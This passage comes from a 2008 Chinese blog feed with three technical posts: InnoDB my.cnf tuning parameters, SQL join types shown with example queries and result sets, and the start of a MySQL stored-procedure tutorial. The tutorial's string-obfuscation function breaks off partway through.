4.0.6开始，可以省略它<br /> innodb_log_arch_dir = /dr3/iblogs<br /> set-variable = innodb_log_files_in_group=3<br /> #                                        设置日志文件的大小约为<br /> #                                        缓冲池(buffer pool)<br /> #                                        大小的 15 %<br /> set-variable = innodb_log_file_size=150M<br /> set-variable = innodb_log_buffer_size=8M<br /> #                                        如果丢失最近几个事务影响<br /> #                                        不大的话可以设置<br /> #                                        .._flush_log_at_trx_commit = 0<br /> innodb_flush_log_at_trx_commit=1<br /> set-variable = innodb_lock_wait_timeout=50<br /> #innodb_flush_method=fdatasync<br /> #set-variable = innodb_thread_concurrency=5<br /></font></pre><p><font face="Verdana, Arial, Helvetica, sans-serif">注意：我们已在不同的硬盘上放置了两个数据文件， InnoDB 将从数据文件的底部填充表空间。在某些情况下所有的数据被分配到不同的物理硬盘中会提高数据库的性能。 将日志文件与数据文件分别放在不同的物理硬盘中对提高性能通常是很有益的。你同样可以使用一个 <strong>RAW 磁盘分区( raw disk partitions</strong>(raw devices)<strong>)</strong> 作为数据文件， 在一些 Unixe 系统中这将提高 I/O 能力。 如何在 <tt><font face="新宋体">my.cnf</font></tt> 中详细指定它们请查看第 12.1 节。</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif"><strong>警告：</strong>在 Linux x86 上必须小心<strong>不能将内存使用设置太高，</strong> glibc 会把进程堆增长到线程堆栈之上，这将会使服务器崩溃。下面的接近或超过于 2G 将会很危险： </font></p><pre><font face="Verdana, Arial, Helvetica, sans-serif">innodb_buffer_pool_size + key_buffer +<br /> max_connections * (sort_buffer + record_buffer) + max_connections * 2 MB<br /></font></pre><font face="Verdana, Arial, Helvetica, sans-serif">每个线程将使用 2MB(MySQL AB 二进制版本为 256 KB)的堆栈，在最坏的环境下还会使用 <code><font face="新宋体">sort_buffer + record_buffer</font></code> 的附加内存。 </font><p><font face="Verdana, Arial, Helvetica, sans-serif">　</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif"><strong>如何调整其它的 <tt><font face="新宋体">mysqld</font></tt> 服务器参数？</strong>查看 <a href="http://www.mysql.com/doc/">MySQL 用户手册</a>可以得到更详细的信息。适合大多数用户的典型参数如下所示： </font></p><pre><font face="Verdana, Arial, Helvetica, sans-serif">         skip-locking<br /> set-variable = max_connections=200<br /> set-variable = record_buffer=1M<br /> set-variable = sort_buffer=1M<br /> #                                        设置索引缓冲(key_buffer)大小为<br /> #                                        你的 RAM 的 5 - 50% ，这主要依赖于<br /> #                                        系统中 MyISAM 表使用量。<br /> #                                        但是必须保证索引缓冲(key_buffer)与 InnoDB<br /> #                                        的缓冲池(buffer pool)大小总和<br /> #                                        小于 RAM 的 80%。<br /> set-variable = key_buffer=...<br /></font></pre><p><font face="Verdana, Arial, Helvetica, sans-serif">　</font></p><p><font face="Verdana, Arial, Helvetica, sans-serif">注意：在 <tt><font face="新宋体">my.cnf</font></tt> 文件中有些参数是为了设置数字的，它们的设置格式为：<code><font face="新宋体">set-variable = innodb... = 123</font></code>，而其它(字符串和逻辑型)的采用另一设置格式：<code><font face="新宋体">innodb_... = ... </font></code>.</font></p><font face="Verdana, Arial, Helvetica, sans-serif"><p><font face="Verdana, Arial, Helvetica, sans-serif">各设置参数的含义如下：</font></p><p></p><table width="100%" border="1"><tbody><tr><td height="92"><code><font face="新宋体">innodb_data_home_dir</font></code></td><td height="92"><p>这是InnoDB表的目录共用设置。如果没有在 <tt><font face="新宋体">my.cnf</font></tt> 进行设置，InnoDB 将使用MySQL的 <code><font face="新宋体">datadir</font></code> 目录为缺省目录。如果设定一个空字串,可以在 <code><font face="新宋体">innodb_data_file_path</font></code> 中设定绝对路径。</p></td></tr><tr><td><code><font face="新宋体">innodb_data_file_path</font></code></td><td>单独指定数据文件的路径与大小。数据文件的完整路径由 innodb_data_home_dir 与这里所设定值的组合。 文件大小以 MB 单位指定。因此在文件大小指定后必有“M”。 InnoDB 也支持缩写“G”， 1G = 1024M。从 3.23.44 开始，在那些支持大文件的操作系统上可以设置数据文件大小大于 4 GB。而在另一些操作系统上数据文件必须小于 2 GB。数据文件大小总和至少要达到 10 MB。在 MySQL-3.23 中这个参数必须在<tt><font face="新宋体"> my.cnf</font></tt> 中明确指定。在 MySQL-4.0.2 以及更新版本中则不需如此，系统会默认在 MySQL 的 <code><font face="新宋体">datadir</font></code> 目录下创建一个 16 MB 自扩充(auto-extending)的数据文件 <tt><font face="新宋体">ibdata1。</font></tt>你同样可以使用一个 原生磁盘分区(RAW raw disk partitions(raw devices)) 作为数据文件， 如何在 <tt><font face="新宋体">my.cnf</font></tt> 中详细指定它们请查看第 12.1 节。</td></tr><tr><td><code><font face="新宋体">innodb_mirrored_log_groups</font></code></td><td>为了保护数据而设置的日志文件组的拷贝数目，默认设置为 1。在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr><tr><td><code><font face="新宋体">innodb_log_group_home_dir</font></code></td><td>InnoDB 日志文件的路径。必须与 <code><font face="新宋体">innodb_log_arch_dir</font></code> 设置相同值。 如果没有明确指定将默认在 MySQL 的 <code><font face="新宋体">datadir</font></code> 目录下建立两个 5 MB 大小的 <tt><font face="新宋体">ib_logfile...</font></tt> 文件。</td></tr><tr><td><code><font face="新宋体">innodb_log_files_in_group</font></code></td><td>日志组中的日志文件数目。InnoDB 以环型方式(circular fashion)写入文件。数值 3 被推荐使用。在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr><tr><td><code><font face="新宋体">innodb_log_file_size</font></code></td><td>日志组中的每个日志文件的大小(单位 MB)。如果 n 是日志组中日志文件的数目，那么理想的数值为 1M 至下面设置的缓冲池(buffer pool)大小的 1/n。较大的值，可以减少刷新缓冲池的次数，从而减少磁盘 I/O。但是大的日志文件意味着在崩溃时需要更长的时间来恢复数据。 日志文件总和必须小于 2 GB，3.23.55 和 4.0.9 以上为小于 4 GB。在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr><tr><td><code><font face="新宋体">innodb_log_buffer_size</font></code></td><td>InnoDB 将日志写入日志磁盘文件前的缓冲大小。理想值为 1M 至 8M。大的日志缓冲允许事务运行时不需要将日志保存入磁盘而只到事务被提交(commit)。 因此，如果有大的事务处理，设置大的日志缓冲可以减少磁盘I/O。 在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr><tr><td><code><font face="新宋体">innodb_flush_log_at_trx_commit</font></code></td><td>通常设置为 1，意味着在事务提交前日志已被写入磁盘， 事务可以运行更长以及服务崩溃后的修复能力。如果你愿意减弱这个安全，或你运行的是比较小的事务处理，可以将它设置为 0 ，以减少写日志文件的磁盘 I/O。这个选项默认设置为 0。</td></tr><tr><td><code><font face="新宋体">innodb_log_arch_dir</font></code></td><td>The directory where fully written log files would be archived if we used log archiving. 这里设置的参数必须与 <code><font face="新宋体">innodb_log_group_home_dir</font></code> 相同。 从 4.0.6 开始，可以忽略这个参数。</td></tr><tr><td><code><font face="新宋体">innodb_log_archive</font></code></td><td>这个值通常设为 0。 既然从备份中恢复(recovery)适合于 MySQL 使用它自己的 log files，因而通常不再需要 archive InnoDB log files。这个选项默认设置为 0。</td></tr><tr><td><code><font face="新宋体">innodb_buffer_pool_size</font></code></td><td>InnoDB 用来高速缓冲数据和索引内存缓冲大小。 更大的设置可以使访问数据时减少磁盘 I/O。在一个专用的数据库服务器上可以将它设置为物理内存的 80 %。 不要将它设置太大，因为物理内存的使用竞争可能会影响操作系统的页面调用。在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr><tr><td><code><font face="新宋体">innodb_additional_mem_pool_size</font></code></td><td>InnoDB 用来存储数据字典(data dictionary)信息和其它内部数据结构(internal data structures)的存储器组合(memory pool)大小。理想的值为 2M，如果有更多的表你就需要在这里重新分配。如果 InnoDB 用尽这个池中的所有内存，它将从操作系统中分配内存，并将错误信息写入 MySQL 的错误日志中。在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr><tr><td><code><font face="新宋体">innodb_file_io_threads</font></code></td><td>InnoDB 中的文件 I/O 线程。 通常设置为 4，但是在 Windows 下可以设定一个更大的值以提高磁盘 I/O。在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr><tr><td height="92"><code><font face="新宋体">innodb_lock_wait_timeout</font></code></td><td height="92">在回滚(rooled back)之前，InnoDB 事务将等待超时的时间(单位 秒)。InnoDB 会自动检查自身在锁定表与事务回滚时的事务死锁。如果使用 <code><font face="新宋体">LOCK TABLES</font></code> 命令，或在同一个事务中使用其它事务安全型表处理器(transaction safe table handlers than InnoDB)，那么可能会发生一个 InnoDB 无法注意到的死锁。在这种情况下超时将用来解决这个问题。这个参数的默认值为 50 秒。在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr><tr><td height="84"><code><font face="新宋体">innodb_flush_method</font></code></td><td height="84">这个参数仅仅与 Unix 相关。这个参数默认值为 <code><font face="新宋体">fdatasync</font></code>。 另一个设置项为 <code><font face="新宋体">O_DSYNC</font></code>。这仅仅影响日志文件的转储，在 Unix 下以 <code><font face="新宋体">fsync</font></code> 转储数据。InnoDB 版本从 3.23.40b 开始，在 Unix 下指定 <code><font face="新宋体">fdatasync</font></code> 为使用 <code><font face="新宋体">fsync</font></code> 方式、指定 <code><font face="新宋体">O_DSYNC</font></code> 为使用 <code><font face="新宋体">O_SYNC</font></code> 方式。由于这在某些 Unix 环境下还有些问题所以在 'data' versions 并没有被使用。</td></tr><tr><td><code><font face="新宋体">innodb_force_recovery</font></code></td><td>警告：此参数只能在你希望从一个被损坏的数据库中转储(dump)数据的紧急情况下使用！ 可能设置的值范围为 1 - 6。查看下面的章节 'Forcing recovery' 以了解这个参数的具体含义。参数设置大于 0 的值代表着 InnoDB 防止用户修改数据的安全度。从 3.23.44 开始，这个参数可用。在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr><tr><td><code><font face="新宋体">innodb_fast_shutdown</font></code></td><td>InnoDB 缺少在关闭之前清空插入缓冲。这个操作可能需要几分钟，在极端的情况下可以需要几个小时。如果这个参数据设置为 1 ，InnoDB 将跳过这个过程而直接关闭。从 3.23.44 和 4.0.1 开始，此参数可用。从 3.23.50 开始，此参数的默认值为 1。</td></tr><tr><td><code><font face="新宋体">innodb_thread_concurrency</font></code></td><td>InnoDB 会试图将 InnoDB 服务的使用的操作系统进程小于或等于这里所设定的数值。此参数默认值为 8。如果计算机系统性能较低或 <code><font face="新宋体">innodb_monitor</font></code> 显示有很多线程等侍信号，应该将这个值设小一点。如果你的计算机系统有很我的处理器与磁盘系统，则可以将这个值设高一点以充分利用你的系统资源。建议设值为处理器数目+ 磁盘数目。 从 3.23.44 和 4.0.1 开始，此参数可用。在 <tt><font face="新宋体">my.cnf</font></tt> 中以数字格式设置。</td></tr></tbody></table></font></div>
								</td>
						</tr>
				</tbody>
		</table>
<img src ="http://www.blogjava.net/jiabao/aggbug/193740.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-17 13:56 <a href="http://www.blogjava.net/jiabao/archive/2008/04/17/193740.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>左外连接，右外连接，全连接，内连接的各差异，以及何时用什么连接？</title><link>http://www.blogjava.net/jiabao/archive/2008/04/13/192581.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sun, 13 Apr 2008 09:04:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/13/192581.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192581.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/13/192581.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192581.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192581.html</trackback:ping><description><![CDATA[
		<h2>
				<br />
		</h2>
		<div class="t_msgfont" id="postmessage_1753">SQL--JOIN之完全用法     <br />      <br />     
   <br />        <br />    <br />    <br />  外联接。外联接可以是左向外联接、右向外联接或完整外部联接。     <br />  在  
 FROM   子句中指定外联接时，可以由下列几组关键字中的一组指定：   <br />    <br />  LEFT   JOIN   或   LEFT  
 OUTER   JOIN。     <br />  左向外联接的结果集包括   LEFT   OUTER  
 子句中指定的左表的所有行，而不仅仅是联接列所匹配的行。如果左表的某行在右表中没有匹配行，则在相关联的结果集行中右表的所有选择列表列均为空值。   <br />  
  <br />  RIGHT   JOIN   或   RIGHT   OUTER   JOIN。  
   <br />  右向外联接是左向外联接的反向联接。将返回右表的所有行。如果右表的某行在左表中没有匹配行，则将为左表返回空值。   <br />    
<br />  FULL   JOIN   或   FULL   OUTER   JOIN。  
   <br />  完整外部联接返回左表和右表中的所有行。当某行在另一个表中没有匹配行时，则另一个表的选择列表列包含空值。如果表之间有匹配行，则整个结果集行包含基表的<span class="t_tag" onclick="tagshow(event)" href="tag.php?name=%CA%FD%BE%DD">数据</span>值。  
 <br />    <br />  仅当至少有一个同属于两表的行符合联接条件时，内联接才返回行。内联接消除与另一个表中的任何行不匹配的行。而外联接会返回  
 FROM   子句中提到的至少一个表或视图的所有行，只要这些行符合任何   WHERE   或   HAVING  
 搜索条件。将检索通过左向外联接引用的左表的所有行，以及通过右向外联接引用的右表的所有行。完整外部联接中两个表的所有行都将返回。   <br />    
<br />  Microsoft®   SQL   Server™   2000   对在   FROM   子句中指定的外联接使用以下   SQL-92  
 关键字：     <br />    <br />  LEFT   OUTER   JOIN   或   LEFT   JOIN   <br />    <br />    
<br />  RIGHT   OUTER   JOIN   或   RIGHT   JOIN   <br />    <br />    <br />  FULL  
 OUTER   JOIN   或   FULL   JOIN     <br />  SQL   Server   支持   SQL-92  
 外联接语法，以及在   WHERE   子句中使用   *=   和   =*   运算符指定外联接的旧式语法。由于   SQL-92  
 语法不容易产生歧义，而旧式   Transact-SQL   外联接有时会产生歧义，因此建议使用   SQL-92   语法。   <br />    
<br />  使用左向外联接   <br />  假设在   city   列上联接   authors   表和   publishers  
 表。结果只显示在出版商所在城市居住的作者（本例中为   Abraham   Bennet   和   Cheryl   Carson）。   <br />    
<br />  若要在结果中包括所有的作者，而不管出版商是否住在同一个城市，请使用   SQL-92   左向外联接。下面是   Transact-SQL  
 左向外联接的查询和结果：   <br />    <br />  USE   pubs   <br />  SELECT   a.au_fname,  
 a.au_lname,   p.pub_name   <br />  FROM   authors   a   LEFT   OUTER   JOIN  
 publishers   p   <br />  ON   a.city   =   p.city   <br />  ORDER   BY  
 p.pub_name   ASC,   a.au_lname   ASC,   a.au_fname   ASC   <br />    
<br />  下面是结果集：   <br />    <br />  au_fname   au_lname   pub_name  
   <br />  --------------------   ------------------------------  
 -----------------     <br />  Reginald   Blotchet-Halls   NULL   <br />  Michel  
 DeFrance   NULL   <br />  Innes   del   Castillo   NULL   <br />  Ann   Dull  
 NULL   <br />  Marjorie   Green   NULL   <br />  Morningstar   Greene   NULL  
 <br />  Burt   Gringlesby   NULL   <br />  Sheryl   Hunter   NULL   <br />  Livia  
 Karsen   NULL   <br />  Charlene   Locksley   NULL   <br />  Stearns   MacFeather  
 NULL   <br />  Heather   McBadden   NULL   <br />  Michael   O'Leary   NULL  
 <br />  Sylvia   Panteley   NULL   <br />  Albert   Ringer   NULL   <br />  Anne  
 Ringer   NULL   <br />  Meander   Smith   NULL   <br />  Dean   Straight   NULL  
 <br />  Dirk   Stringer   NULL   <br />  Johnson   White   NULL   <br />  Akiko  
 Yokomoto   NULL   <br />  Abraham   Bennet   Algodata   Infosystems  
 <br />  Cheryl   Carson   Algodata   Infosystems   <br />    <br />  (23   row(s)  
 affected)   <br />    <br />  不管是否与   publishers   表中的   city   列匹配，LEFT   OUTER  
 JOIN   均会在结果中包含   authors   表的所有行。注意：结果中所列的大多数作者都没有相匹配的数据,因此，这些行的   pub_name  
 列包含空值。   <br />    <br />  使用右向外联接   <br />  假设在   city   列上联接   authors   表和  
 publishers   表。结果只显示在出版商所在城市居住的作者（本例中为   Abraham   Bennet   和   Cheryl  
 Carson）。SQL-92   右向外联接运算符   RIGHT   OUTER   JOIN  
 指明：不管第一个表中是否有匹配的数据，结果将包含第二个表中的所有行。   <br />    
<br />  若要在结果中包括所有的出版商，而不管城市中是否还有出版商居住，请使用   SQL-92   右向外联接。下面是   Transact-SQL  
 右向外联接的查询和结果：   <br />    <br />  USE   pubs   <br />  SELECT   a.au_fname,  
 a.au_lname,   p.pub_name   <br />  FROM   authors   AS   a   RIGHT   OUTER  
 JOIN   publishers   AS   p   <br />  ON   a.city   =   p.city   <br />  ORDER   BY  
 p.pub_name   ASC,   a.au_lname   ASC,   a.au_fname   ASC   <br />    
<br />  下面是结果集：   <br />    <br />  au_fname   au_lname   pub_name  
   <br />  --------------------   ------------------------   --------------------  
   <br />  Abraham   Bennet   Algodata   Infosystems   <br />  Cheryl   Carson  
 Algodata   Infosystems   <br />  NULL   NULL   Binnet   &amp;   Hardley  
 <br />  NULL   NULL   Five   Lakes   Publishing   <br />  NULL   NULL   GGG&amp;G  
 <br />  NULL   NULL   Lucerne   Publishing   <br />  NULL   NULL   New   Moon  
 Books   <br />  NULL   NULL   Ramona   Publishers   <br />  NULL   NULL   Scootney  
 Books   <br />    <br />  (9   row(s)   affected)   <br />    
<br />  使用谓词（如将联接与常量比较）可以进一步限制外联接。下例包含相同的右向外联接，但消除销售量低于   50   本的书籍的书名：   <br />    
<br />  USE   pubs   <br />  SELECT   s.stor_id,   s.qty,   t.title   <br />  FROM  
 sales   s   RIGHT   OUTER   JOIN   titles   t   <br />  ON   s.title_id   =  
 t.title_id   <br />  AND   s.qty   &gt;   50   <br />  ORDER   BY   s.stor_id  
 ASC   <br />    <br />  下面是结果集：   <br />    <br />  stor_id   qty   title  
   <br />  -------   ------  
 ---------------------------------------------------------     <br />  (null)  
 (null)   But   Is   It   User   Friendly?     <br />  (null)   (null)   Computer  
 Phobic   AND   Non-Phobic   Individuals:   Behavior     <br />  Variations  
   <br />  (null)   (null)   Cooking   with   Computers:   Surreptitious  
 Balance   Sheets     <br />  (null)   (null)   Emotional   Security:   A   New  
 Algorithm     <br />  (null)   (null)   Fifty   Years   in   Buckingham   Palace  
 Kitchens     <br />  7066   75   Is   Anger   the   Enemy?     <br />  (null)  
 (null)   Life   Without   Fear     <br />  (null)   (null)   Net   Etiquette  
   <br />  (null)   (null)   Onions,   Leeks,   and   Garlic:   Cooking   Secrets  
 of   the     <br />  Mediterranean     <br />  (null)   (null)   Prolonged   Data  
 Deprivation:   Four   Case   Studies     <br />  (null)   (null)   Secrets   of  
 Silicon   Valley     <br />  (null)   (null)   Silicon   Valley   Gastronomic  
 Treats     <br />  (null)   (null)   Straight   Talk   About   Computers  
   <br />  (null)   (null)   Sushi,   Anyone?     <br />  (null)   (null)   The  
 Busy   Executive's   Database   Guide     <br />  (null)   (null)   The  
 Gourmet   Microwave     <br />  (null)   (null)   The   Psychology   of  
 Computer   Cooking     <br />  (null)   (null)   You   Can   Combat   Computer  
 Stress!     <br />    <br />  (18   row(s)   affected)   <br />    
<br />  有关谓词的更多信息，请参见   WHERE。     <br />    <br />  使用完整外部联接  
 <br />  若要通过在联接结果中包括不匹配的行保留不匹配信息，请使用完整外部联接。Microsoft®   SQL   Server™   2000  
 提供完整外部联接运算符   FULL   OUTER   JOIN，不管另一个表是否有匹配的值，此运算符都包括两个表中的所有行。   <br />    
<br />  假设在   city   列上联接   authors   表和   publishers   表。结果只显示在出版商所在城市居住的作者（本例中为  
 Abraham   Bennet   和   Cheryl   Carson）。SQL-92   FULL   OUTER   JOIN  
 运算符指明：不管表中是否有匹配的数据，结果将包括两个表中的所有行。   <br />    
<br />  若要在结果中包括所有作者和出版商，而不管城市中是否有出版商或者出版商是否住在同一个城市，请使用完整外部联接。下面是   Transact-SQL  
 完整外部联接的查询和结果：   <br />    <br />  USE   pubs   <br />  SELECT   a.au_fname,  
 a.au_lname,   p.pub_name   <br />  FROM   authors   a   FULL   OUTER   JOIN  
 publishers   p   <br />  ON   a.city   =   p.city   <br />  ORDER   BY  
 p.pub_name   ASC,   a.au_lname   ASC,   a.au_fname   ASC   <br />    
<br />  下面是结果集：   <br />    <br />  au_fname   au_lname   pub_name  
   <br />  --------------------   ----------------------------  
 --------------------     <br />  Reginald   Blotchet-Halls   NULL   <br />  Michel  
 DeFrance   NULL   <br />  Innes   del   Castillo   NULL   <br />  Ann   Dull  
 NULL   <br />  Marjorie   Green   NULL   <br />  Morningstar   Greene   NULL  
 <br />  Burt   Gringlesby   NULL   <br />  Sheryl   Hunter   NULL   <br />  Livia  
 Karsen   NULL   <br />  Charlene   Locksley   NULL   <br />  Stearns   MacFeather  
 NULL   <br />  Heather   McBadden   NULL   <br />  Michael   O'Leary   NULL  
 <br />  Sylvia   Panteley   NULL   <br />  Albert   Ringer   NULL   <br />  Anne  
 Ringer   NULL   <br />  Meander   Smith   NULL   <br />  Dean   Straight   NULL  
 <br />  Dirk   Stringer   NULL   <br />  Johnson   White   NULL   <br />  Akiko  
 Yokomoto   NULL   <br />  Abraham   Bennet   Algodata   Infosystems  
 <br />  Cheryl   Carson   Algodata   Infosystems   <br />  NULL   NULL   Binnet  
 &amp;   Hardley   <br />  NULL   NULL   Five   Lakes   Publishing   <br />  NULL  
 NULL   GGG&amp;G   <br />  NULL   NULL   Lucerne   Publishing   <br />  NULL  
 NULL   New   Moon   Books   <br />  NULL   NULL   Ramona   Publishers  
 <br />  NULL   NULL   Scootney   Books<br /><div class="t_msgfont" id="postmessage_1754">联接条件可在   FROM   或   WHERE   子句中指定，建议在  
 FROM   子句中指定联接条件。WHERE   和   HAVING   子句也可以包含搜索条件，以进一步筛选联接条件所选的行。   <br />    
<br />  联接可分为以下几类：     <br />    <br />  内联接（典型的联接运算，使用像   =   或   &lt;&gt;  
 之类的比较运算符）。包括相等联接和自然联接。     <br />  内联接使用比较运算符根据每个表共有的列的值匹配两个表中的行。例如，检索  
 students   和   courses   表中学生标识号相同的所有行。   <br />    
<br />  外联接。外联接可以是左向外联接、右向外联接或完整外部联接。     <br />  在   FROM  
 子句中指定外联接时，可以由下列几组关键字中的一组指定：   <br />    <br />  LEFT   JOIN   或   LEFT   OUTER  
 JOIN。     <br />  左向外联接的结果集包括   LEFT   OUTER  
 子句中指定的左表的所有行，而不仅仅是联接列所匹配的行。如果左表的某行在右表中没有匹配行，则在相关联的结果集行中右表的所有选择列表列均为空值。   <br />  
  <br />  RIGHT   JOIN   或   RIGHT   OUTER   JOIN。  
   <br />  右向外联接是左向外联接的反向联接。将返回右表的所有行。如果右表的某行在左表中没有匹配行，则将为左表返回空值。   <br />    
<br />  FULL   JOIN   或   FULL   OUTER   JOIN。  
   <br />  完整外部联接返回左表和右表中的所有行。当某行在另一个表中没有匹配行时，则另一个表的选择列表列包含空值。如果表之间有匹配行，则整个结果集行包含基表的数据值。  
 <br />    <br />  交叉联接。     <br />  交叉联接返回左表中的所有行，左表中的每一行与右表中的所有行组合。交叉联接也称作笛卡尔积。  
 <br />    <br />  例如，下面的内联接检索与某个出版商居住在相同州和城市的作者：   <br />    <br />  USE   pubs  
 <br />  SELECT   a.au_fname,   a.au_lname,   p.pub_name   <br />  FROM   authors  
 AS   a   INNER   JOIN   publishers   AS   p   <br />        ON   a.city   =  
 p.city   <br />        AND   a.state   =   p.state   <br />  ORDER   BY  
 a.au_lname   ASC,   a.au_fname   ASC   <br />    <br />  FROM  
 子句中的表或视图可通过内联接或完整外部联接按任意顺序指定；但是，用左或右向外联接指定表或视图时，表或视图的顺序很重要。有关使用左或右向外联接排列表的更多信息，请参见使用外联接。  
   <br />    <br />    <br />    <br />    <br />  例子：   <br />  a表     id   name     b表  
   id   job   parent_id   <br />              1   张3                   1     23  
   1   <br />              2   李四                 2     34     2   <br />           
   3   王武                 3     34     4   <br />    <br />  a.id同parent_id   存在关系  
 <br />    <br />  内连接   <br />  select   a.*,b.*   from   a   inner   join   b  
   on   a.id=b.parent_id   <br />    <br />  结果是     <br />  1   张3                   
1     23     1   <br />  2   李四                 2     34     2   <br />    
<br />  左连接   <br />    <br />  select   a.*,b.*   from   a   left   join   b     on  
 a.id=b.parent_id   <br />    <br />  结果是     <br />  1   张3                   1  
   23     1   <br />  2   李四                 2     34     2   <br />  3   王武        
         null   <br />  右连接   <br />  select   a.*,b.*   from   a   right   join  
 b     on   a.id=b.parent_id   <br />    <br />  结果是     <br />  1   张3              
     1     23     1   <br />  2   李四                 2     34     2   <br />  null  
               3     34     4   <br />    <br />  完全连接   <br />    <br />  select  
 a.*,b.*   from   a   full   join   b     on   a.id=b.parent_id   <br />    <br />  
  <br />  结果是     <br />  1   张3                   1     23     1   <br />  2   李四     
            2     34     2   <br />  null                 3     34     4  
 <br />  3   王武                 null<br /><div class="t_msgfont" id="postmessage_1755">左连接例子<br /><br />select count(*) as title 
from seek_user t1 left join sekk_info t2 on t1.seek_id=t2.user_id where 
SeekusType!='8'</div><br /></div><br /></div>
<img src ="http://www.blogjava.net/jiabao/aggbug/192581.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jiabao/" target="_blank">金家寶</a> 2008-04-13 17:04 <a href="http://www.blogjava.net/jiabao/archive/2008/04/13/192581.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MySql5.0存储过程</title><link>http://www.blogjava.net/jiabao/archive/2008/04/13/192527.html</link><dc:creator>金家寶</dc:creator><author>金家寶</author><pubDate>Sun, 13 Apr 2008 02:47:00 GMT</pubDate><guid>http://www.blogjava.net/jiabao/archive/2008/04/13/192527.html</guid><wfw:comment>http://www.blogjava.net/jiabao/comments/192527.html</wfw:comment><comments>http://www.blogjava.net/jiabao/archive/2008/04/13/192527.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jiabao/comments/commentRss/192527.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jiabao/services/trackbacks/192527.html</trackback:ping><description><![CDATA[MySql5.0以后均支持存储过程，最近有空，研究了一把这个<br /><br />
格式：<br />
        <br />
CREATE PROCEDURE 过程名 ([过程参数[,...]])<br />
     [特性 ...] 过程体<br /><br />
CREATE FUNCTION 函数名 ([函数参数[,...]])<br />
     RETURNS 返回类型<br />
     [特性 ...] 函数体<br />
    <br />
过程参数:<br />
     [ IN | OUT | INOUT ] 参数名 参数类型<br />
    <br />
函数参数:<br />
     参数名 参数类型<br /><br />
返回类型:<br />
     有效的MySQL数据类型即可<br /><br />
特性:<br />
     LANGUAGE SQL<br />
   | [NOT] DETERMINISTIC<br />
   | { CONTAINS SQL | NO SQL | READS SQL DATA | MODIFIES SQL DATA }<br />
   | SQL SECURITY { DEFINER | INVOKER }<br />
   | COMMENT 'string'<br /><br />
过程体/函数体:格式如下：<br />
BEGIN<br />
     有效的SQL语句<br />
END    <br />
    <br />
我在这里不关心专有的特性，这些与SQL规范不兼容，所以characteristic(特性)的相关内容不作考虑。<br />
//<br />
在开发过程中有几点要注意：<br />
1、存储过程注释:MySQL支持采用--或者/**/注释，其中前者是行注释，后者是段式注释<br />
2、变量首先用declare申明，其中临时变量可以直接以@前缀修饰以供引用<br />
3、直接采用MySQL的Administrator管理器编辑时，可以直接采用如下函数文本录入；<br />
    但若在脚本中自动导入存储过程或函数时，由于MySQL默认以";"为分隔符，则过程体的每一句<br />
    都被MySQL以存储过程编译，则编译过程会报错；所以要事先用DELIMITER关键字申明当前段分隔符<br />
    用完了就把分隔符还原。   如下所示：<br />
        DELIMITER ＄＄<br />
        Stored Procedures and Functions<br />
        DELIMITER ;<br />
4、MySQL支持大量的内嵌函数，有些是和大型商用数据库如oracle、informix、sybase等一致，<br />
    但也有些函数名称不一致，但功能一致；或者有些名称一致，但功能相异，这个特别对于从<br />
    这些数据库开发转过来的DBA要注意。<br />
5、存储过程或函数的调试：我目前还没有研究MySQL所带的各种工具包，还不清楚其提供了调试工具<br />
    没有，不过编译错误相对好查找；至于业务流程的调试，可以采用一个比较笨的方法，就是创建一<br />
    个调试表，在包体中各个流程点都插入一条记录，以观察程序执行流程。这也是一个比较方便的笨<br />
    办法。^_^<br />
   <br />
    下面是2个例子，提供了一种字串加密的算法，每次以相同的入参调用都会得到不同的加密结果，<br />
    算法相对比较简单，不具备强度。分别以函数和过程的形式分别实现如下：<br />
(1)函数<br /><br />
eg:<br />
CREATE FUNCTION fun_addmm(inpass varchar(10)) RETURNS varchar(11)<br />
BEGIN<br />
      declare string_in varchar(39);<br />
      declare string_out varchar(78);<br />
      declare offset tinyint(2);<br />
      declare outpass varchar(30) default ';<br />
      declare len tinyint;<br />
      /*declare i tinyint;*/<br /><br />
      /**/<br />
      set len=LENGTH(inpass);<br />
      if((len&lt;=0) or (len&gt;10)) then<br />
          return "";<br />
      end if;<br /><br />
      set offset=(SECOND(NOW()) mod 39)+1; /*根据秒数取模*/<br />
      /*insert into   testtb values(offset,'offset: ');*/<br />
      set string_out='YN8K1JOZVURB3MDETS5GPL27AXWIHQ94C6F0#＄_';   /*密钥*/<br />
      set string_in='_＄#ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';<br /><br />
      set outpass=CONCAT(outpass,SUBSTRING(string_out,offset,1));<br />
/*      insert into   testtb values(2,outpass);*/<br />
      set string_out=CONCAT(string_out,string_out);<br />
      set @i=0;<br />
      REPEAT<br />
        set @i=@i+1;<br />
        set outpass=CONCAT(outpass,SUBSTR(string_out,INSTR(string_in,SUBSTRING(inpass,@i,1))+offset,1));<br />
/*        insert into   testtb values(@i+2,outpass);*/<br />
      UNTIL (@i&gt;=len)<br />
